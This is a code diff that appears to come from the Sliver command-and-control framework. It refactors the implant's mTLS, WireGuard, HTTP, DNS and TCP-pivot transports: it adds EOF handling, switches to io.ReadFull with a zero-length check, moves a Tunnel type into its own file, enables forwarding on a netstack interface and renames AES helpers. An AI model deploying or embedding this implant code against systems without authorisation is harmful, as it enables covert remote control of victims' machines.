})
|
||||
}
|
||||
|
||||
// Tunnel - Duplex byte read/write
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
|
||||
Reader io.ReadCloser
|
||||
readSequence uint64
|
||||
|
||||
Writer io.WriteCloser
|
||||
writeSequence uint64
|
||||
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
|
||||
return &Tunnel{
|
||||
ID: id,
|
||||
Reader: reader,
|
||||
Writer: writer,
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Tunnel) ReadSequence() uint64 {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return c.readSequence
|
||||
}
|
||||
|
||||
func (c *Tunnel) WriteSequence() uint64 {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return c.writeSequence
|
||||
}
|
||||
|
||||
func (c *Tunnel) IncReadSequence() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
c.readSequence += 1
|
||||
}
|
||||
|
||||
func (c *Tunnel) IncWriteSequence() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
c.writeSequence += 1
|
||||
}
|
||||
|
||||
// Tunnel - Add tunnel to mapping
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
return (*c.tunnels)[ID]
|
||||
}
|
||||
|
||||
// AddTunnel - Add tunnel to mapping
|
||||
func (c *Connection) AddTunnel(tun *Tunnel) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
(*c.tunnels)[tun.ID] = tun
|
||||
}
|
||||
|
||||
// RemoveTunnel - Add tunnel to mapping
|
||||
func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
delete(*c.tunnels, ID)
|
||||
}
|
||||
|
||||
func (c *Connection) RequestResend(data []byte) {
|
||||
c.Send <- &pb.Envelope{
|
||||
Type: pb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
// StartConnectionLoop - Starts the main connection loop
|
||||
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
|
||||
|
||||
@@ -333,7 +215,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[mtls] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
conn.Close()
|
||||
close(recv)
|
||||
},
|
||||
@@ -393,7 +274,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
for {
|
||||
envelope, err := mtls.ReadEnvelope(conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[mtls] eof")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
if err != io.EOF && err != nil {
|
||||
break
|
||||
@@ -434,7 +318,6 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[wg] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
close(recv)
|
||||
@@ -503,7 +386,10 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
for {
|
||||
envelope, err := wireguard.ReadEnvelope(conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[wireguard] eof")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
if err != io.EOF && err != nil {
|
||||
break
|
||||
@@ -540,7 +426,6 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- struct{}{}
|
||||
close(recv)
|
||||
},
|
||||
@@ -588,6 +473,12 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
return
|
||||
default:
|
||||
envelope, err := client.ReadEnvelope()
|
||||
if err == io.EOF {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] eof")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
switch errType := err.(type) {
|
||||
case nil:
|
||||
errCount = 0
|
||||
@@ -655,7 +546,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- struct{}{} // Stop polling
|
||||
close(recv)
|
||||
},
|
||||
@@ -719,6 +609,11 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
log.Printf("[dns] session is closed")
|
||||
// {{end}}
|
||||
return
|
||||
case io.EOF:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] eof")
|
||||
// {{end}}
|
||||
return
|
||||
default:
|
||||
errCount++
|
||||
// {{if .Config.Debug}}
|
||||
@@ -761,7 +656,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
log.Printf("[tcp pivot] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
pingCtrl <- struct{}{}
|
||||
close(send)
|
||||
ctrl <- struct{}{}
|
||||
close(recv)
|
||||
},
|
||||
@@ -835,7 +729,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
for {
|
||||
envelope, err := pivot.ReadEnvelope()
|
||||
if err == io.EOF {
|
||||
break
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp pivot] eof")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
package transports
|
||||
|
||||
import (
|
||||
"io"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Tunnel - Duplex byte read/write
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
|
||||
Reader io.ReadCloser
|
||||
readSequence uint64
|
||||
|
||||
Writer io.WriteCloser
|
||||
writeSequence uint64
|
||||
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
|
||||
return &Tunnel{
|
||||
ID: id,
|
||||
Reader: reader,
|
||||
Writer: writer,
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Tunnel) ReadSequence() uint64 {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return c.readSequence
|
||||
}
|
||||
|
||||
func (c *Tunnel) WriteSequence() uint64 {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return c.writeSequence
|
||||
}
|
||||
|
||||
func (c *Tunnel) IncReadSequence() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
c.readSequence += 1
|
||||
}
|
||||
|
||||
func (c *Tunnel) IncWriteSequence() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
c.writeSequence += 1
|
||||
}
|
||||
|
||||
// Close - close tunnel reader and writer
|
||||
func (c *Tunnel) Close() {
|
||||
c.Reader.Close()
|
||||
c.Writer.Close()
|
||||
}
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
@@ -48,7 +49,6 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
readBufSize = 16 * 1024 // 16kb
|
||||
serverTunIP = "100.64.0.1" // Don't let user configure this for now
|
||||
tunnelNet *netstack.Net
|
||||
tunAddress string
|
||||
@@ -111,8 +111,8 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
|
||||
if len(dataLengthBuf) == 0 || connection == nil {
|
||||
panic("[[GenerateCanary]]")
|
||||
}
|
||||
_, err := connection.Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Socket error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
@@ -120,23 +120,22 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
|
||||
// Read the length of the data
|
||||
readBuf := make([]byte, readBufSize)
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := connection.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
if dataLength <= 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, errors.New("[wireguard] zero data length")
|
||||
}
|
||||
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
n, err = io.ReadFull(connection, dataBuf)
|
||||
|
||||
if err != nil || n != dataLength {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Unmarshal the protobuf envelope
|
||||
|
||||
+12
-7
@@ -23,6 +23,7 @@ import (
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
@@ -39,8 +40,6 @@ import (
|
||||
const (
|
||||
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
|
||||
defaultServerCert = ""
|
||||
|
||||
readBufSize = 1024
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -158,21 +157,27 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
|
||||
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
|
||||
// returns messageType, message, and error
|
||||
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
|
||||
// Read the first four bytes to determine data length
|
||||
dataLengthBuf := make([]byte, 4) // Size of uint32
|
||||
_, err := connection.Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
|
||||
if err != nil || n != 4 {
|
||||
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
if dataLength <= 0 {
|
||||
// {{if .Config.Debug}}
|
||||
mtlsLog.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, errors.New("[pivot] zero data length")
|
||||
}
|
||||
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
_, err = io.ReadFull(connection, dataBuf)
|
||||
n, err = io.ReadFull(connection, dataBuf)
|
||||
|
||||
if err != nil {
|
||||
if err != nil || n != dataLength {
|
||||
mtlsLog.Errorf("Socket error (read data): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
+16
-23
@@ -22,7 +22,9 @@ import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
|
||||
@@ -260,36 +262,27 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
|
||||
// Read the first four bytes to determine data length
|
||||
dataLengthBuf := make([]byte, 4) // Size of uint32
|
||||
_, err := connection.Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
|
||||
if err != nil || n != 4 {
|
||||
wgLog.Errorf("Socket error (read msg-length): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
|
||||
// Read the length of the data, keep in mind each call to .Read() may not
|
||||
// fill the entire buffer length that we specify, so instead we use two buffers
|
||||
// readBuf is the result of each .Read() operation, which is then concatinated
|
||||
// onto dataBuf which contains all of data read so far and we keep calling
|
||||
// .Read() until the running total is equal to the length of the message that
|
||||
// we're expecting or we get an error.
|
||||
readBuf := make([]byte, readBufSize)
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := connection.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
wgLog.Errorf("Read error: %s", err)
|
||||
break
|
||||
}
|
||||
if dataLength <= 0 {
|
||||
// {{if .Config.Debug}}
|
||||
wgLog.Errorf("[wireguard] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, errors.New("[wireguard] zero data length")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
n, err = io.ReadFull(connection, dataBuf)
|
||||
|
||||
if err != nil || n != dataLength {
|
||||
wgLog.Errorf("Socket error (read data): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -141,9 +141,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
|
||||
}
|
||||
if dev.hasV4 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
|
||||
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv4ProtocolNumber, true)
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
|
||||
}
|
||||
}
|
||||
if dev.hasV6 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
|
||||
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv6ProtocolNumber, true)
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
dev.events <- tun.EventUp
|
||||
|
||||
@@ -26,8 +26,8 @@ import (
|
||||
"io"
|
||||
)
|
||||
|
||||
//Encrypt the results
|
||||
func Encrypt(data []byte, key []byte, iv []byte) []byte {
|
||||
// PreludeEncrypt the results
|
||||
func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
|
||||
plainText, err := pad(data, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
@@ -47,8 +47,8 @@ func Encrypt(data []byte, key []byte, iv []byte) []byte {
|
||||
return cipherText
|
||||
}
|
||||
|
||||
//Decrypt a command
|
||||
func Decrypt(data []byte, key []byte) []byte {
|
||||
// PreludeDecrypt a command
|
||||
func PreludeDecrypt(data []byte, key []byte) []byte {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil
|
||||
|
||||
Reference in new issue
Block a user